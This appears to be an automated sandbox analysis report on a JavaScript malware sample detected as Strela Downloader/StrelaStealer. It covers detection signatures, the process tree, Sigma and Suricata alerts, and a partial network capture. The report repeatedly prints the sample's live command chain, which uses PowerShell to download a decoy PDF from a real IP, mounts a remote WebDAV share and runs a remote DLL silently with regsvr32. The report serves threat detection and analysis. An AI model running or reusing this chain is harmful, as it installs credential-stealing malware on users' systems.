Edit tour

Windows Analysis Report
1907125702104121563.js

Overview

General Information

Sample name:	1907125702104121563.js
Analysis ID:	1588540
MD5:	7eab8093c668f0f542880f77603c53d4
SHA1:	4edacc54f30fab41007b59897d00c522198caf77
SHA256:	92ee206e64a73bdce136095fec0ac14fe8cf40ac01a82a0b4cf460bbf5d7f1b4
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7572 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7660 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7712 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7888 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7424 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1528,i,10699397459916845071,15470316518012393717,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7908 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7936 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7572	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7712, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7712, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ProcessId: 7572, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7936, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49778

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ProcessId: 7572, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7712, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7908, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7936, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7188, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7908, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7936, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1907125702104121563.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll, ProcessId: 7660, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:00.329235+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49758	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:03.467571+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49778	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:00.329235+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49758	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1907125702104121563.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1907125702104121563.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49758 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49778 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 8888
